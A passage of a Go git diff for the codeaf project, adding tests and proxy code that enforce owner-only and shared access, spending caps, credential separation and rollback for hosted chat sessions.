newMeteredRig(t, 0, func(ctx context.Context, _, model string) (*ai.Response, error) { + return meteredAnswer(ctx, model, "paid", 0.25), nil + }) + chat := rg.create(t, "santosh") + state := rg.h.config.Hosted.state + for _, asker := range []string{"", "abir", "santosh"} { + if asker != "" { + state.noteAsker(chat, asker) + } + if w := callHostedModel(rg, chat, testHostedBody); w.Code != http.StatusOK { + t.Fatalf("model call as asker %q = %d %s", asker, w.Code, w.Body) + } + } + space := myHostedSpace(t, rg, "santosh") + rows := hostedSpendRows(t, rg, space.Workstream.ID) + if len(rows) != 3 || space.SpentUSD != 0.75 { + t.Fatalf("owner's space spent $%g in %d rows", space.SpentUSD, len(rows)) + } + for i, want := range []string{"", "abir", ""} { + if row := rows[i]; row.By != "santosh" || row.Asker != want || row.Chat != "hosted:"+chat || row.USD != 0.25 { + t.Errorf("ledger row %d = %+v, want asker %q", i, row, want) + } + } + if guest := myHostedSpace(t, rg, "abir"); guest.SpentUSD != 0 || len(hostedSpendRows(t, rg, guest.Workstream.ID)) != 0 { + t.Fatalf("guest's space spent $%g", guest.SpentUSD) + } +} + +// P2-8 +// Pushing a chat's model access on behalf of a guest keeps that guest's GitHub credential out of the owner's keys. +func TestP2_8_HostedPushKeepsOnlyTheOwnerSignInGitHub(t *testing.T) { + rg := newHostedRig(t) + rg.withServerKey(t, rigServerKey) + chat := rg.create(t, "santosh") + rg.host.adopt(chat, "santosh") + push := func(who string) { + t.Helper() + r := httptest.NewRequest(http.MethodGet, hostedSessionsPath+"/"+chat+"/wire", nil) + r.Header.Set("Authorization", "Bearer "+rg.tokens[who]) + w := httptest.NewRecorder() + if !rg.h.hostedPush(w, r, rg.h.config.Hosted.state, chat, "santosh") { + t.Fatalf("push as %s = %d %s", who, w.Code, w.Body) + } + } + guestRequest := httptest.NewRequest(http.MethodGet, hostedSessionsPath, nil) + guestRequest.Header.Set("Authorization", "Bearer "+rg.tokens["abir"]) + guestKey, signIn := rg.h.personGitHubToken(guestRequest) + if !signIn || len(guestKey) < 8 { + t.Fatal("guest fixture has no sign-in credential") + } + push("abir") + if key, exists, err := rg.h.hostedKeyFor("santosh", "github"); err != nil || exists || key != "" { + t.Fatalf("guest push stored a GitHub credential for the owner, present=%v, error=%v", exists, err) + } + pushes := rg.host.pushList() + if len(pushes) != 2 || pushes[1].person != "santosh" || pushes[1].id != chat || !strings.HasPrefix(pushes[1].token, "cmt_") { + t.Fatalf("guest push did not restore model access for the owner: %d pushes", len(pushes)) + } + push("santosh") + ownerRequest := httptest.NewRequest(http.MethodGet, hostedSessionsPath, nil) + ownerRequest.Header.Set("Authorization", "Bearer "+rg.tokens["santosh"]) + ownerKey, signIn := rg.h.personGitHubToken(ownerRequest) + if key, exists, err := rg.h.hostedKeyFor("santosh", "github"); err != nil || !exists || !signIn || key != ownerKey || key == "" { + t.Fatalf("owner push did not keep the owner's sign-in credential, present=%v, error=%v", exists, err) + } +} + +// P2-9 +// An organization setting takes precedence over the configured cap at the model door. +func TestP2_9_PolicyOverridesHostedSessionCap(t *testing.T) { + calls := 0 + rg := newMeteredRig(t, 9, func(ctx context.Context, _, model string) (*ai.Response, error) { + calls++ + return meteredAnswer(ctx, model, "paid", 0.25), nil + }) + chat := rg.create(t, "santosh") + policy := acl.DefaultPolicy() + policy.Hosting.MaxSessionCostUSD = 0.25 + rg.do(t, "owner", http.MethodPut, "/v1/org/policy", 0, policy, http.StatusOK, nil) + if w := callHostedModel(rg, chat, testHostedBody); w.Code != http.StatusOK { + t.Fatalf("first call = %d %s", w.Code, w.Body) + } + hostedModelErrorIs(t, callHostedModel(rg, chat, testHostedBody), 402, "insufficient_quota", + "This chat has reached its spending limit of $0.25, so it is paused. Start a new chat to carry on.") + rg.setAccessPolicy(t, func(p *acl.Policy) { p.Hosting.MaxSessionCostUSD = 0.50 }) + if w := callHostedModel(rg, chat, testHostedBody); w.Code != http.StatusOK { + t.Fatalf("call after raising the cap = %d %s", w.Code, w.Body) + } + hostedModelErrorIs(t, callHostedModel(rg, chat, testHostedBody), 402, "insufficient_quota", + "This chat has reached its spending limit of $0.50, so it is paused. Start a new chat to carry on.") + if calls != 2 { + t.Fatalf("made %d upstream calls", calls) + } +} diff --git a/internal/factory/serve/hosted_p2_test.go b/internal/factory/serve/hosted_p2_test.go new file mode 100644 index 0000000000..b8d70a5df6 --- /dev/null +++ b/internal/factory/serve/hosted_p2_test.go @@ -0,0 +1,487 @@ +package serve + +import ( + "bytes" + "context" + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "reflect" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/factory/acl" + "github.com/Agent-Field/codeaf/internal/factory/live" + "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/coder/websocket" +) + +const hostedSessionsPath = "/v1/hosted/sessions" + +func hostedGrant(t *testing.T, rg *hostedRig, owner, chat, guest, role string) acl.Grant { + t.Helper() + var grant acl.Grant + rg.do(t, owner, http.MethodPost, "/v1/resources/session/"+chat+"/grants", -1, personGrant(guest, role), http.StatusCreated, &grant) + return grant +} + +// P2-1 +// A private chat appears only to its owner and its current grantees. +func TestP2_1_PrivateHostedChatsAndEvents(t *testing.T) { + rg := newHostedRig(t) + assertEvents := func(chat string, start int, want map[string]int) int { + t.Helper() + events, _, err := live.Read(rg.h.eventRoot()) + if err != nil { + t.Fatal(err) + } + for _, who := range []string{"santosh", "abir", "mia", "owner"} { + body := liveBytes(t, rg.h, rg.tokens[who], events[start:]) + change := "event: resource.changed\n" + `data: {"kind":"session","id":"` + chat + `"}` + if got := strings.Count(body, change); got != want[who] || want[who] == 0 && strings.Contains(body, chat) { + t.Errorf("events for %s contain %d resource changes for %s, want %d: %s", who, got, chat, want[who], body) + } + } + return len(events) + } + chat := rg.create(t, "santosh") + row, found, err := rg.st.Resource(store.SessionKind, chat) + if err != nil || !found || row.Owner != (acl.Subject{Kind: "person", ID: "santosh"}) || + row.CreatedBy != (acl.Principal{Kind: "person", ID: "santosh"}) || row.Parent != (acl.Resource{}) || row.Visibility != acl.Private { + t.Fatalf("private registration = %+v, found %t, error %v", row, found, err) + } + for _, who := range []string{"santosh", "abir", "mia", "owner"} { + list := rg.send(who, http.MethodGet, hostedSessionsPath, nil, nil) + if list.Code != http.StatusOK || strings.Contains(list.Body.String(), chat) != (who == "santosh") { + t.Fatalf("list for %s = %d %s", who, list.Code, list.Body) + } + } + unknown := "hs_" + strings.Repeat("0", 24) + for _, who := range []string{"mia", "owner"} { + for _, route := range []struct{ method, suffix string }{ + {http.MethodGet, ""}, {http.MethodPost, "/stop"}, {http.MethodDelete, ""}, {http.MethodGet, "/wire"}, + } { + absent := rg.send(who, route.method, hostedSessionsPath+"/"+unknown+route.suffix, nil, nil) + private := rg.send(who, route.method, hostedSessionsPath+"/"+chat+route.suffix, nil, nil) + if absent.Code != http.StatusNotFound || private.Code != absent.Code || absent.Body.String() != hostNoSuchChat || private.Body.String() != absent.Body.String() { + t.Fatalf("%s %s as %s: absent = %d %q, private = %d %q", route.method, route.suffix, who, absent.Code, absent.Body, private.Code, private.Body) + } + } + } + ownerOnly := map[string]int{"santosh": 1} + shared := map[string]int{"santosh": 1, "abir": 1} + cursor := assertEvents(chat, 0, ownerOnly) + grant := hostedGrant(t, rg, "santosh", chat, "abir", "view") + cursor = assertEvents(chat, cursor, shared) + policy := acl.DefaultPolicy() + policy.Defaults[store.SessionKind] = acl.KindDefault{Visibility: acl.Org} + rg.do(t, "owner", http.MethodPut, "/v1/org/policy", 0, policy, http.StatusOK, nil) + cursor = assertEvents(chat, cursor, nil) + rg.do(t, "santosh", http.MethodPost, hostedSessionsPath+"/"+chat+"/stop", -1, nil, http.StatusNoContent, nil) + cursor = assertEvents(chat, cursor, shared) + rg.do(t, "santosh", http.MethodDelete, "/v1/resources/session/"+chat+"/grants/"+grant.ID, -1, nil, http.StatusNoContent, nil) + cursor = assertEvents(chat, cursor, shared) + hostedGrant(t, rg, "santosh", chat, "abir", "view") + cursor = assertEvents(chat, cursor, shared) + rg.do(t, "santosh", http.MethodDelete, hostedSessionsPath+"/"+chat, -1, nil, http.StatusNoContent, nil) + assertEvents(chat, cursor, shared) +} + +// P2-2 +// The list keeps the caller's host rows and adds filtered shared and operator rows. +func TestP2_2_HostedListKeepsOwnRowsAndLimitsSharedMetadata(t *testing.T) { + rg := newHostedRig(t) + mine := rg.create(t, "abir") + first := rg.create(t, "santosh") + second := rg.create(t, "santosh") + hidden := rg.create(t, "santosh") + third := rg.create(t, "mia") + hostedGrant(t, rg, "santosh", first, "abir", "edit") + hostedGrant(t, rg, "santosh", second, "abir", "view") + hostedGrant(t, rg, "mia", third, "abir", "view") + rg.setAccessPolicy(t, func(p *acl.Policy) { + p.Defaults[store.SessionKind] = acl.KindDefault{Visibility: acl.Owner} + p.Hosting.LocalSessions = "warn" + }) + operatorRow := rg.create(t, "santosh") + + type listing struct { + Sessions []map[string]string `json:"sessions"` + Shared []map[string]string `json:"shared"` + Hosting map[string]string `json:"hosting"` + } + read := func(who string) listing { + t.Helper() + var out listing + rg.do(t, who, http.MethodGet, hostedSessionsPath, -1, nil, http.StatusOK, &out) + if !reflect.DeepEqual(out.Hosting, map[string]string{"local_sessions": "warn"}) || out.Shared == nil { + t.Fatalf("list for %s = %+v", who, out) + } + return out + } + before := rg.host.count() + got := read("abir") + called := map[string]int{} + for _, req := range rg.host.requests()[before:] { + if req.method != http.MethodGet || req.path != "/v1/sessions" { + t.Fatalf("unexpected host request: %s %s", req.method, req.path) + } + called[req.header.Get("X-Codeaf-Person")]++ + } + if !reflect.DeepEqual(called, map[string]int{"abir": 1, "santosh": 1, "mia": 1}) { + t.Fatalf("host list calls = %+v", called) + } + var original listing + resp := httptest.NewRecorder() + req := httptest.NewRequest(http.MethodGet, "/v1/sessions", nil) + req.Header.Set("Authorization", "Bearer "+rigSecret) + req.Header.Set("X-Codeaf-Person", "abir") + rg.host.ServeHTTP(resp, req) + if err := json.Unmarshal(resp.Body.Bytes(), &original); err != nil { + t.Fatal(err) + } + if !reflect.DeepEqual(got.Sessions, original.Sessions) || len(got.Sessions) != 1 || got.Sessions[0]["id"] != mine { + t.Fatalf("own list = %+v, host list = %+v", got.Sessions, original.Sessions) + } + metadata := func(id, owner, access, role string) map[string]string { + row := map[string]string{"id": id, "owner": owner, "access": access, "state": "suspended", + "created": "2026-11-24T00:00:00Z", "last_active": "2026-11-24T00:01:00Z"} + if role != "" { + row["role"] = role + } + return row + } + want := map[string]map[string]string{ + first: metadata(first, "santosh", "shared", "edit"), second: metadata(second, "santosh", "shared", "view"), + third: metadata(third, "mia", "shared", "view"), + } + for _, row := range got.Shared { + if !reflect.DeepEqual(row, want[row["id"]]) { + t.Errorf("shared row = %+v, want %+v", row, want[row["id"]]) + } + delete(want, row["id"]) + } + if len(want) != 0 { + t.Errorf("shared rows missing: %+v", want) + } + got = read("owner") + if len(got.Sessions) != 0 || !reflect.DeepEqual(got.Shared, []map[string]string{metadata(operatorRow, "santosh", "operator", "")}) { + t.Fatalf("operator list = %+v", got) + } + for _, tc := range []struct{ who, id, access, role string }{{"abir", first, "shared", "edit"}, {"owner", operatorRow, "operator", ""}} { + var meta map[string]string + before := rg.host.count() + rg.do(t, tc.who, http.MethodGet, hostedSessionsPath+"/"+tc.id, -1, nil, http.StatusOK, &meta) + want := metadata(tc.id, "santosh", tc.access, tc.role) + want["created"], want["last_active"] = "", "" + if !reflect.DeepEqual(meta, want) { + t.Errorf("get as %s = %+v, want %+v", tc.who, meta, want) + } + reqs := rg.host.requests()[before:] + if len(reqs) != 1 || reqs[0].header.Get("X-Codeaf-Person") != "santosh" { + t.Errorf("get as %s generated %d requests instead of one as the owner", tc.who, len(reqs)) + } + } + if w := rg.send("abir", http.MethodGet, hostedSessionsPath+"/"+hidden, nil, nil); w.Code != http.StatusNotFound { + t.Fatalf("unshared chat read = %d %s", w.Code, w.Body) + } + + rg.setAccessPolicy(t, func(p *acl.Policy) { + p.Defaults[store.SessionKind] = acl.KindDefault{Visibility: acl.Org} + }) + orgChat := rg.create(t, "mia") + grants, err := rg.st.GrantsOn(store.SessionKind, orgChat) + if err != nil || len(grants) != 1 || grants[0].Subject != (acl.Subject{Kind: "org", ID: "*"}) || grants[0].Role != "view" { + t.Fatalf("organization default grants = %+v, %v", grants, err) + } + got = read("owner") + for _, row := range got.Shared { + if row["id"] == orgChat && reflect.DeepEqual(row, metadata(orgChat, "mia", "shared", "view")) { + return + } + } + t.Fatalf("organization chat missing from shared entries: %+v", got.Shared) +} + +// P2-2 +// An unavailable shared owner listing fails the complete request. +func TestP2_2_HostedListFailsWhenSharedOwnerCannotBeListed(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "view") + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Header.Get("X-Codeaf-Person") == "santosh" && r.URL.Path == "/v1/sessions" { + w.WriteHeader(http.StatusServiceUnavailable) + return + } + rg.host.ServeHTTP(w, r) + })) + defer srv.Close() + rg.configure(t, func(c *HostedConfig) { c.URL = srv.URL }) + w := rg.send("abir", http.MethodGet, hostedSessionsPath, nil, nil) + if w.Code != http.StatusBadGateway || errorOf(t, w.Body.Bytes()) != "The place chats run on is not answering." { + t.Fatalf("list = %d %s", w.Code, w.Body) + } +} + +// P2-3 +// Each first touch backfills a legacy chat as private, and an unknown chat creates no row. +func TestP2_3_LegacyChatsBackfillOnFirstTouch(t *testing.T) { + rg := newHostedRig(t) + rg.setAccessPolicy(t, func(p *acl.Policy) { + p.Defaults[store.SessionKind] = acl.KindDefault{Visibility: acl.Org} + }) + srv := httptest.NewServer(rg.h) + defer srv.Close() + for _, step := range []struct { + name, digit, method, suffix string + status int + }{ + {"list", "1", http.MethodGet, "", http.StatusOK}, + {"get", "2", http.MethodGet, "", http.StatusOK}, + {"wire", "3", http.MethodGet, "/wire", http.StatusSwitchingProtocols}, + {"stop", "4", http.MethodPost, "/stop", http.StatusNoContent}, + {"delete", "5", http.MethodDelete, "", http.StatusNoContent}, + } { + t.Run(step.name, func(t *testing.T) { + id := "hs_" + strings.Repeat(step.digit, 24) + rg.host.adopt(id, "santosh") + if _, found, err := rg.st.Resource(store.SessionKind, id); found || err != nil { + t.Fatalf("legacy registration already exists: %v, %v", found, err) + } + path := hostedSessionsPath + "/" + id + step.suffix + switch step.name { + case "wire": + dial(t, srv, rg.tokens["santosh"], id).Close(websocket.StatusNormalClosure, "") + case "list": + w := rg.send("santosh", http.MethodGet, hostedSessionsPath, nil, nil) + if w.Code != http.StatusOK || !strings.Contains(w.Body.String(), id) { + t.Fatalf("legacy list = %d %s", w.Code, w.Body) + } + default: + rg.do(t, "santosh", step.method, path, -1, nil, step.status, nil) + } + row, found, err := rg.st.Resource(store.SessionKind, id) + if step.name == "delete" { + if found || err != nil || rg.host.ownerOf(id) != "" { + t.Fatalf("legacy delete kept %+v, found %v, error %v", row, found, err) + } + events, _, err := live.Read(rg.h.eventRoot()) + if err != nil || !strings.Contains(liveBytes(t, rg.h, rg.tokens["santosh"], events), id) { + t.Fatalf("legacy delete did not publish for its owner: %v", err) + } + return + } + if err != nil || !found || row.Owner != (acl.Subject{Kind: "person", ID: "santosh"}) || + row.CreatedBy != (acl.Principal{Kind: "person", ID: "santosh"}) || row.Visibility != acl.Private { + t.Fatalf("backfilled row = %+v, found %v, error %v", row, found, err) + } + w := rg.send("abir", http.MethodGet, hostedSessionsPath+"/"+id, nil, nil) + if w.Code != http.StatusNotFound || w.Body.String() != hostNoSuchChat { + t.Fatalf("another person read a legacy chat: %d %s", w.Code, w.Body) + } + }) + } + unknown := "hs_" + strings.Repeat("f", 24) + for _, route := range []struct{ method, suffix string }{ + {http.MethodGet, ""}, {http.MethodGet, "/wire"}, {http.MethodPost, "/stop"}, {http.MethodDelete, ""}, + } { + w := rg.send("santosh", route.method, hostedSessionsPath+"/"+unknown+route.suffix, nil, nil) + if w.Code != http.StatusNotFound || w.Body.String() != hostNoSuchChat { + t.Errorf("unknown %s %s = %d %s", route.method, route.suffix, w.Code, w.Body) + } + } + if row, found, err := rg.st.Resource(store.SessionKind, unknown); found || err != nil { + t.Fatalf("unknown chat registered: %+v, found %v, error %v", row, found, err) + } +} + +// P2-3 +// With no store, the host alone checks ownership and the list has the P1 shape. +func TestP2_3_HostedRoutesWithoutStoreKeepP1Behavior(t *testing.T) { + rg := newHostedRig(t) + rg.cfg.Store = nil + rg.configure(t, func(*HostedConfig) {}) + chat := rg.create(t, "santosh") + var list map[string]json.RawMessage + rg.do(t, "santosh", http.MethodGet, hostedSessionsPath, -1, nil, http.StatusOK, &list) + if len(list) != 1 || !bytes.Contains(list["sessions"], []byte(chat)) { + t.Fatalf("P1 list = %s", list) + } + path := hostedSessionsPath + "/" + chat + for _, route := range []struct{ method, suffix string }{ + {http.MethodGet, ""}, {http.MethodGet, "/wire"}, {http.MethodPost, "/stop"}, {http.MethodDelete, ""}, + } { + w := rg.send("abir", route.method, path+route.suffix, nil, nil) + if w.Code != http.StatusNotFound || w.Body.String() != hostNoSuchChat { + t.Fatalf("another person's %s %s = %d %s", route.method, route.suffix, w.Code, w.Body) + } + } + rg.do(t, "santosh", http.MethodGet, path, -1, nil, http.StatusOK, nil) + srv := httptest.NewServer(rg.h) + defer srv.Close() + dial(t, srv, rg.tokens["santosh"], chat).Close(websocket.StatusNormalClosure, "") + rg.do(t, "santosh", http.MethodPost, path+"/stop", -1, nil, http.StatusNoContent, nil) + rg.do(t, "santosh", http.MethodDelete, path, -1, nil, http.StatusNoContent, nil) + if row, found, err := rg.st.Resource(store.SessionKind, chat); found || err != nil { + t.Fatalf("store-less chat registered: %+v, found %v, error %v", row, found, err) + } +} + +// P2-4 +// Only an owner with run gets the owner wire, and operator access adds no wire rights. +func TestP2_4_HostedWireClassUsesCurrentVerbsWithoutOperator(t *testing.T) { + rg := newHostedRig(t) + rg.setAccessPolicy(t, func(p *acl.Policy) { + p.Defaults[store.SessionKind] = acl.KindDefault{Visibility: acl.Owner} + p.Operator.Role = "full" + }) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "full") + res, found, err := rg.h.lookupAccessResource(store.SessionKind, chat) + if err != nil || !found { + t.Fatalf("registered chat missing: %v", err) + } + for _, tc := range []struct { + name, person string + operator bool + agent *acl.Agent + class hostedWireClass + }{ + {"owner", "santosh", false, nil, hostedWireOwner}, + {"owner bot with run", "santosh", false, &acl.Agent{ID: "bot:drive", Sponsor: "santosh", Only: []string{"view", "run"}}, hostedWireOwner}, + {"owner bot with view", "santosh", false, &acl.Agent{ID: "bot:watch", Sponsor: "santosh", Only: []string{"view"}}, hostedWireGuest}, + {"owner bot without view", "santosh", false, &acl.Agent{ID: "bot:noview", Sponsor: "santosh", Only: []string{"run"}}, hostedWireNone}, + {"full guest", "abir", false, nil, hostedWireGuest}, + {"guest who is also operator", "abir", true, nil, hostedWireGuest}, + {"operator only", "owner", true, nil, hostedWireNone}, + {"unshared member", "mia", false, nil, hostedWireNone}, + } { + t.Run(tc.name, func(t *testing.T) { + v := rg.h.viewerOf(tc.person) + v.Operator, v.Agent = tc.operator, tc.agent + if got := hostedWireClassFor(v, res.item, "santosh"); got != tc.class { + t.Fatalf("class = %v, want %v", got, tc.class) + } + }) + } + before := rg.host.count() + for _, who := range []string{"abir", "owner"} { + w := rg.send(who, http.MethodGet, hostedSessionsPath+"/"+chat+"/wire", nil, nil) + if w.Code != http.StatusNotFound || w.Body.String() != hostNoSuchChat { + t.Fatalf("wire as %s = %d %s", who, w.Code, w.Body) + } + } + if got := rg.host.count(); got != before { + t.Fatalf("guest stub or operator called the owner wire: %d requests", got-before) + } +} + +// P2-7 +// A creation rejected by the host rolls back the prior registration and model access. +func TestP2_7_HostedCreateRegistersBeforeHostAndRollsBackFailure(t *testing.T) { + rg := newHostedRig(t) + rg.setAccessPolicy(t, func(p *acl.Policy) { + p.Defaults[store.SessionKind] = acl.KindDefault{Visibility: acl.Org} + }) + type observation struct { + id, token string + found bool + grants int + err error + } + seen := make(chan observation, 1) + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + data, _ := io.ReadAll(r.Body) + id := jsonField(data, "id") + _, found, lookupErr := rg.st.Resource(store.SessionKind, id) + grants, err := rg.st.GrantsOn(store.SessionKind, id) + if lookupErr != nil { + err = lookupErr + } + seen <- observation{id, jsonField(data, "model_token"), found, len(grants), err} + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(http.StatusConflict) + _, _ = io.WriteString(w, "{\"error\":\"This chat already exists.\"}\n") + })) + defer srv.Close() + rg.configure(t, func(c *HostedConfig) { c.URL = srv.URL }) + w := rg.send("santosh", http.MethodPost, hostedSessionsPath, nil, nil) + if w.Code != http.StatusConflict || w.Body.String() != "{\"error\":\"This chat already exists.\"}\n" { + t.Fatalf("create refusal = %d %s", w.Code, w.Body) + } + got := <-seen + if !got.found || got.grants != 1 || got.token == "" || got.err != nil { + t.Fatalf("host did not see complete registration: %+v", got) + } + if row, found, err := rg.st.Resource(store.SessionKind, got.id); found || err != nil { + t.Fatalf("failed creation kept a row: %+v, found %v, error %v", row, found, err) + } + if grants, err := rg.st.GrantsOn(store.SessionKind, got.id); len(grants) != 0 || err != nil { + t.Fatalf("failed creation kept grants: %+v, %v", grants, err) + } + if w := rg.send("", http.MethodGet, "/v1/model/models", nil, map[string]string{"Authorization": "Bearer " + got.token}); w.Code != http.StatusUnauthorized { + t.Fatalf("failed creation retained model access: %d %s", w.Code, w.Body) + } +} + +// P2-7 +// Lifecycle operations require manage, act as the owner, and remove grants on deletion. +func TestP2_7_HostedStopAndDeleteRequireManage(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + token := rg.host.tokenOf(chat) + hostedGrant(t, rg, "santosh", chat, "abir", "edit") + hostedGrant(t, rg, "santosh", chat, "mia", "full") + path := hostedSessionsPath + "/" + chat + before := rg.host.count() + for _, step := range []struct{ method, suffix string }{{http.MethodPost, "/stop"}, {http.MethodDelete, ""}} { + w := rg.send("abir", step.method, path+step.suffix, nil, nil) + if w.Code != http.StatusForbidden || errorOf(t, w.Body.Bytes()) != "Only the owner of this chat can stop or delete it." { + t.Fatalf("%s as a grantee without manage = %d %s", step.method, w.Code, w.Body) + } + } + if got := rg.host.count(); got != before { + t.Fatalf("forbidden stop or delete reached the host: %d calls", got-before) + } + rg.do(t, "mia", http.MethodPost, path+"/stop", -1, nil, http.StatusNoContent, nil) + if w := rg.send("", http.MethodGet, "/v1/model/models", nil, map[string]string{"Authorization": "Bearer " + token}); w.Code != http.StatusUnauthorized { + t.Fatalf("stopped chat kept model access: %d %s", w.Code, w.Body) + } + rg.do(t, "mia", http.MethodDelete, path, -1, nil, http.StatusNoContent, nil) + for _, req := range rg.host.requests()[before:] { + if req.header.Get("X-Codeaf-Person") != "santosh" { + t.Fatalf("%s %s ran as %q", req.method, req.path, req.header.Get("X-Codeaf-Person")) + } + } + if row, found, err := rg.st.Resource(store.SessionKind, chat); found || err != nil { + t.Fatalf("deleted chat kept a row: %+v, found %v, error %v", row, found, err) + } + if grants, err := rg.st.GrantsOn(store.SessionKind, chat); len(grants) != 0 || err != nil { + t.Fatalf("deleted chat kept grants: %+v, %v", grants, err) + } +} + +// P2-10 +// Sharing a hosted chat leaves its owner's wire byte-for-byte intact. +func TestP2_10_OwnerWireStillCopiesOriginalBytes(t *testing.T) { + rg := newHostedRig(t) + chat := rg.create(t, "santosh") + hostedGrant(t, rg, "santosh", chat, "abir", "full") + srv := httptest.NewServer(rg.h) + defer srv.Close() + conn := dial(t, srv, rg.tokens["santosh"], chat) + defer conn.CloseNow() + ctx, cancel := context.WithTimeout(t.Context(), 5*time.Second) + defer cancel() + frame := []byte("{ \"kind\": \"call\", \"id\": 17, \"method\": \"Submit\", \"payload\": {\"text\":\"hello\"} }\n") + if err := conn.Write(ctx, websocket.MessageBinary, frame); err != nil { + t.Fatal(err) + } + kind, got, err := conn.Read(ctx) + if err != nil || kind != websocket.MessageBinary || !bytes.Equal(got, frame) { + t.Fatalf("host echoed %v %q, error %v, want %q", kind, got, err, frame) + } +} diff --git a/internal/factory/serve/hosted_proxy.go b/internal/factory/serve/hosted_proxy.go index f0dba14c01..b12b7b0729 100644 --- a/internal/factory/serve/hosted_proxy.go +++ b/internal/factory/serve/hosted_proxy.go @@ -18,6 +18,7 @@ import ( "time" "github.com/Agent-Field/codeaf/internal/factory" + "github.com/Agent-Field/codeaf/internal/factory/acl" "github.com/Agent-Field/codeaf/internal/factory/store" "github.com/Agent-Field/codeaf/internal/provider/modelapi" ) @@ -97,6 +98,30 @@ type hostedState struct { // the first window's push did. Attaches are a person's deliberate act, so // holding one lock across one bounded call is cheaper than a lock per chat. attach sync.Mutex + // Registry mutations exclude backfill so an earlier host reply cannot restore a deleted chat. + registry sync.RWMutex + // The model door and wire may record or read the current asker concurrently. + askerMu sync.RWMutex + askers map[string]string +} + +func (hs *hostedState) noteAsker(id, person string) { + hs.askerMu.Lock() + defer hs.askerMu.Unlock() + if person == "" { + delete(hs.askers, id) + return + } + if hs.askers == nil { + hs.askers = make(map[string]string) + } + hs.askers[id] = person +} + +func (hs *hostedState) askerOf(id string) string { + hs.askerMu.RLock() + defer hs.askerMu.RUnlock() + return hs.askers[id] } const ( @@ -293,13 +318,17 @@ func (hs *hostedState) credentialBody(token string) []byte { func (h *Handler) hostedPerson(w http.ResponseWriter, r *http.Request) (string, bool) { handle, err := h.callerHandle(r) handle = factory.NormalizeHandle(handle) + return handle, h.hostedSignedIn(w, handle, err) +} + +func (h *Handler) hostedSignedIn(w http.ResponseWriter, handle string, err error) bool { if err != nil || handle == "" || len(handle) > 128 || strings.IndexFunc(handle, func(c rune) bool { return c < 0x21 || c > 0x7e }) >= 0 { w.Header().Set("WWW-Authenticate", `Bearer realm="factory"`) h.fail(w, http.StatusUnauthorized, hostedSignIn) - return "", false + return false } - return handle, true + return true } // hostedChatID is the chat named in the path, or the answer to a name that @@ -369,19 +398,27 @@ func (h *Handler) hostedFailed(w http.ResponseWriter, status int, err error) boo } func (h *Handler) hostedList(w http.ResponseWriter, r *http.Request) { - person, ok := h.hostedPerson(w, r) + v, ok := h.hostedViewer(w, r) if !ok { return } - status, header, body, err := h.config.Hosted.state.call(r.Context(), http.MethodGet, "/v1/sessions", person, nil) - if h.hostedFailed(w, status, err) { + own, others, ok := h.hostedOwnList(w, r, v) + if !ok { return } - hostedRelay(w, status, header, body) + shared, ok := h.hostedSharedList(w, r, v, others) + if !ok { + return + } + h.write(w, http.StatusOK, struct { + hostedSessionsList + Shared []hostedSharedRow `json:"shared"` + Hosting acl.Hosting `json:"hosting"` + }{own, shared, acl.Hosting{LocalSessions: v.acc.rules().Hosting.LocalSessionsFor(true)}}) } func (h *Handler) hostedGet(w http.ResponseWriter, r *http.Request) { - person, ok := h.hostedPerson(w, r) + v, ok := h.hostedViewer(w, r) if !ok { return } @@ -389,20 +426,49 @@ func (h *Handler) hostedGet(w http.ResponseWriter, r *http.Request) { if !ok { return } - status, header, body, err := h.config.Hosted.state.call(r.Context(), http.MethodGet, "/v1/sessions/"+id, person, nil) + hs := h.config.Hosted.state + owner := v.Handle + var chat hostedChatLookup + if h.config.Store != nil { + chat, ok = h.resolveHostedChat(w, r, id, v) + if !ok { + return + } + if !can(v, chat.item, acl.VerbView) { + hostedNoSuchChatWrite(w) + return + } + owner = chat.owner + if chat.legacyBody != nil { + hostedRelay(w, http.StatusOK, chat.legacyHeader, chat.legacyBody) + return + } + } + status, header, body, err := hs.call(r.Context(), http.MethodGet, "/v1/sessions/"+id, owner, nil) if h.hostedFailed(w, status, err) { return } + if owner != v.Handle && status == http.StatusOK { + row := hostedMetadata(v, chat.item) + if json.Unmarshal(body, &row.hostedStatusFields) != nil || row.ID != id { + h.fail(w, http.StatusBadGateway, hostedUnreachable) + return + } + h.write(w, http.StatusOK, row) + return + } hostedRelay(w, status, header, body) } // hostedCreate starts a chat. The id is this server's to choose, so a caller // can never name a chat into existence or onto someone else's folder. func (h *Handler) hostedCreate(w http.ResponseWriter, r *http.Request) { - person, ok := h.hostedPerson(w, r) + v, ok := h.hostedViewer(w, r) if !ok { return } + st := h.config.Store + person := v.Handle hs := h.config.Hosted.state var raw [12]byte if _, err := rand.Read(raw[:]); err != nil { @@ -416,20 +482,38 @@ func (h *Handler) hostedCreate(w http.ResponseWriter, r *http.Request) { h.fail(w, http.StatusInternalServerError, hostedNotStarted) return } + var row store.Resource + if st != nil { + hs.registry.Lock() + defer hs.registry.Unlock() + row, err = h.registerHostedChat(v, id) + if err != nil { + hs.bearers.revokeToken(id, token) + h.accessFailed(w, err) + return + } + } fields := hs.credentialFields(token) fields["id"] = id body, _ := json.Marshal(fields) status, header, data, err := hs.call(r.Context(), http.MethodPost, "/v1/sessions", person, body) // A bearer for a chat that was not made is ended at once; there is // nothing for it to belong to. - if h.hostedFailed(w, status, err) { + if err != nil || status/100 != 2 { hs.bearers.revokeToken(id, token) + if st != nil { + if err := st.DeleteResource(row.Kind, row.ID); err != nil { + log.Printf("hosted chats: a failed registration could not be removed: %v", err) + } + } + if !h.hostedFailed(w, status, err) { + hostedRelay(w, status, header, data) + } return } - if status/100 != 2 { - hs.bearers.revokeToken(id, token) - hostedRelay(w, status, header, data) - return + if st != nil { + item := h.resourceItem(row, factory.OrgWorkstream{}) + h.publishAccessEvent(row.Resource, person, h.audienceOf(item)) } hostedRelay(w, status, header, hostedWithID(data, id)) } @@ -465,7 +549,7 @@ func (h *Handler) hostedDelete(w http.ResponseWriter, r *http.Request) { } func (h *Handler) hostedEnd(w 